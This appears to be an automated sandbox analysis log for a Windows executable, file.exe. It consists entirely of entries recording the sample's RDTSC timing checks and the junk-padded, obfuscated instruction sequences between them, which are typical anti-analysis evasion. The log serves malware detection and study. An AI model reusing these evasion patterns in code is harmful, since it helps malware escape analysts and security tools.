                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DD2443 second address: DD2449 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DD2449 second address: DD244F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DD244F second address: DD2463 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5E8080F35Ch 0x00000008 jns 00007F5E8080F356h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DEB057 second address: DEB05D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DEB05D second address: DEB06F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push edx 0x0000000a jng 00007F5E8080F356h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DEB06F second address: DEB08D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5E810FCBB7h 0x0000000c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DEB35F second address: DEB369 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F5E8080F356h 0x0000000a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DEB369 second address: DEB36F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DEB4D0 second address: DEB4D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DEB967 second address: DEB984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F5E810FCBB4h 0x0000000b jmp 00007F5E810FCBACh 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DEBC69 second address: DEBC6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DEBD9F second address: DEBDA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DEBECB second address: DEBECF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DEBECF second address: DEBEFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F5E810FCBB4h 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 push edx 0x00000015 pop edx 0x00000016 jno 00007F5E810FCBA6h 0x0000001c pop edi 0x0000001d rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DF0161 second address: DF0181 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F5E8080F366h 0x00000010 jmp 00007F5E8080F360h 0x00000015 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DF05A6 second address: DF05BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pop esi 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5E810FCBAAh 0x00000013 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DF05BE second address: DF0619 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F35Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 nop 0x00000011 jmp 00007F5E8080F35Bh 0x00000016 push dword ptr [ebp+122D2B6Fh] 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007F5E8080F358h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 and edx, 62F2137Ah 0x0000003c push 3B088027h 0x00000041 je 00007F5E8080F371h 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DF18E4 second address: DF18E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DF18E9 second address: DF18F3 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5E8080F35Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DF3499 second address: DF34A6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jl 00007F5E810FCBA6h 0x00000009 pop edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DF4E74 second address: DF4EB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jc 00007F5E8080F356h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jl 00007F5E8080F39Bh 0x00000014 pushad 0x00000015 jmp 00007F5E8080F361h 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jnc 00007F5E8080F356h 0x00000025 jmp 00007F5E8080F35Ch 0x0000002a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5480B71 second address: 5480B89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E810FCBB4h 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5480B89 second address: 5480B96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5480B96 second address: 5480BBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, 6F6709D1h 0x0000000e popad 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5480BBD second address: 5480BD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F365h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5480BD6 second address: 5480BDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54C091B second address: 54C0960 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 pushfd 0x00000006 jmp 00007F5E8080F363h 0x0000000b adc cx, E68Eh 0x00000010 jmp 00007F5E8080F369h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d movsx ebx, ax 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54C0960 second address: 54C09AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F5E810FCBB7h 0x0000000b or eax, 777CD14Eh 0x00000011 jmp 00007F5E810FCBB9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F5E810FCBACh 0x00000022 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54C09AF second address: 54C09B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5460138 second address: 546016A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov dh, ch 0x0000000e mov dx, C8ACh 0x00000012 popad 0x00000013 push dword ptr [ebp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F5E810FCBAEh 0x0000001d rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 546016A second address: 546017C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E8080F35Eh 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 546017C second address: 5460180 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5460180 second address: 54601B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c mov bx, 8410h 0x00000010 call 00007F5E8080F369h 0x00000015 push esi 0x00000016 pop ebx 0x00000017 pop ecx 0x00000018 popad 0x00000019 push dword ptr [ebp+08h] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54601B6 second address: 54601CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 548088E second address: 5480894 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5480894 second address: 5480921 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5E810FCBB9h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F5E810FCBACh 0x00000013 adc cx, 68A8h 0x00000018 jmp 00007F5E810FCBABh 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007F5E810FCBB8h 0x00000024 sub al, 00000008h 0x00000027 jmp 00007F5E810FCBABh 0x0000002c popfd 0x0000002d popad 0x0000002e mov ebp, esp 0x00000030 pushad 0x00000031 pushad 0x00000032 pushad 0x00000033 popad 0x00000034 push eax 0x00000035 pop ebx 0x00000036 popad 0x00000037 jmp 00007F5E810FCBACh 0x0000003c popad 0x0000003d pop ebp 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F5E810FCBAAh 0x00000047 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5480921 second address: 5480925 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5480925 second address: 548092B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54804DC second address: 54804E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54804E0 second address: 54804E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54804E6 second address: 54804F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E8080F35Dh 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54804F7 second address: 5480536 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F5E810FCBAEh 0x00000011 mov ebp, esp 0x00000013 jmp 00007F5E810FCBB0h 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5480536 second address: 548053A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 548053A second address: 5480540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5480540 second address: 5480546 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 548044E second address: 5480452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5480452 second address: 5480456 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5480456 second address: 548045C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 548045C second address: 548046B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E8080F35Bh 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5480216 second address: 548021A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 548021A second address: 5480220 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5480220 second address: 54802AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 70E5D11Fh 0x00000008 pushfd 0x00000009 jmp 00007F5E810FCBB4h 0x0000000e sbb ax, 1288h 0x00000013 jmp 00007F5E810FCBABh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d jmp 00007F5E810FCBB6h 0x00000022 push eax 0x00000023 pushad 0x00000024 mov ax, di 0x00000027 pushfd 0x00000028 jmp 00007F5E810FCBADh 0x0000002d add cx, B856h 0x00000032 jmp 00007F5E810FCBB1h 0x00000037 popfd 0x00000038 popad 0x00000039 xchg eax, ebp 0x0000003a jmp 00007F5E810FCBAEh 0x0000003f mov ebp, esp 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 mov dx, F890h 0x00000048 popad 0x00000049 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5480EA6 second address: 5480F60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 66EAh 0x00000007 mov ebx, 1F8307B6h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F5E8080F363h 0x00000017 adc eax, 268EC03Eh 0x0000001d jmp 00007F5E8080F369h 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007F5E8080F360h 0x00000029 add cx, F538h 0x0000002e jmp 00007F5E8080F35Bh 0x00000033 popfd 0x00000034 popad 0x00000035 mov ebp, esp 0x00000037 pushad 0x00000038 pushad 0x00000039 jmp 00007F5E8080F362h 0x0000003e mov ah, 03h 0x00000040 popad 0x00000041 call 00007F5E8080F367h 0x00000046 call 00007F5E8080F368h 0x0000004b pop ecx 0x0000004c pop edi 0x0000004d popad 0x0000004e pop ebp 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 popad 0x00000055 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5480F60 second address: 5480F64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5480F64 second address: 5480F6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54C08B5 second address: 54C08BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54C08BB second address: 54C08BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54C08BF second address: 54C08C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54A0040 second address: 54A0077 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F369h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ax, dx 0x0000000e call 00007F5E8080F363h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54A0077 second address: 54A008E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 pushad 0x00000008 mov cl, dl 0x0000000a mov si, 0AF3h 0x0000000e popad 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54A008E second address: 54A0092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54A0092 second address: 54A0096 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54A0096 second address: 54A009C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54A009C second address: 54A00D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebp+08h] 0x0000000c jmp 00007F5E810FCBB0h 0x00000011 and dword ptr [eax], 00000000h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F5E810FCBB7h 0x0000001b rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54803B0 second address: 54803B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54803B4 second address: 54803BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5490BED second address: 5490C13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F361h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5E8080F35Dh 0x00000012 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5490E3C second address: 5490E6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F5E810FCBB7h 0x00000008 pop eax 0x00000009 mov ch, dl 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5E810FCBAEh 0x00000016 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54C0053 second address: 54C0057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54C0057 second address: 54C0074 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54C0074 second address: 54C007A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54C007A second address: 54C007E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54C01C3 second address: 54C0205 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F369h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, dword ptr [ebp+08h] 0x0000000c jmp 00007F5E8080F367h 0x00000011 and ecx, 1Fh 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov ax, dx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54C0205 second address: 54C020A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54C020A second address: 54C0227 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E8080F369h 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54C0227 second address: 54C026E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ror eax, cl 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F5E810FCBB6h 0x00000011 add ecx, 69019F08h 0x00000017 jmp 00007F5E810FCBABh 0x0000001c popfd 0x0000001d popad 0x0000001e leave 0x0000001f pushad 0x00000020 push esi 0x00000021 jmp 00007F5E810FCBABh 0x00000026 pop ecx 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54C026E second address: 54C02BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F5E8080F365h 0x0000000a and cx, B8D6h 0x0000000f jmp 00007F5E8080F361h 0x00000014 popfd 0x00000015 popad 0x00000016 popad 0x00000017 retn 0004h 0x0000001a nop 0x0000001b mov esi, eax 0x0000001d lea eax, dword ptr [ebp-08h] 0x00000020 xor esi, dword ptr [00B52014h] 0x00000026 push eax 0x00000027 push eax 0x00000028 push eax 0x00000029 lea eax, dword ptr [ebp-10h] 0x0000002c push eax 0x0000002d call 00007F5E851BF53Ah 0x00000032 push FFFFFFFEh 0x00000034 jmp 00007F5E8080F35Eh 0x00000039 pop eax 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54C02BB second address: 54C02C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54C02C1 second address: 54C031F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5E8080F362h 0x00000009 add cx, D958h 0x0000000e jmp 00007F5E8080F35Bh 0x00000013 popfd 0x00000014 jmp 00007F5E8080F368h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c ret 0x0000001d nop 0x0000001e push eax 0x0000001f call 00007F5E851BF593h 0x00000024 mov edi, edi 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F5E8080F367h 0x0000002d rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54C031F second address: 54C0388 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F5E810FCBACh 0x00000011 or cl, 00000078h 0x00000014 jmp 00007F5E810FCBABh 0x00000019 popfd 0x0000001a movzx eax, bx 0x0000001d popad 0x0000001e push eax 0x0000001f pushad 0x00000020 movzx eax, bx 0x00000023 jmp 00007F5E810FCBADh 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov ecx, edx 0x0000002f call 00007F5E810FCBAFh 0x00000034 pop eax 0x00000035 popad 0x00000036 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54C0388 second address: 54C03B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5E8080F364h 0x00000009 adc ch, 00000068h 0x0000000c jmp 00007F5E8080F35Bh 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54C03B1 second address: 54C03C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5E810FCBABh 0x00000010 rdtsc
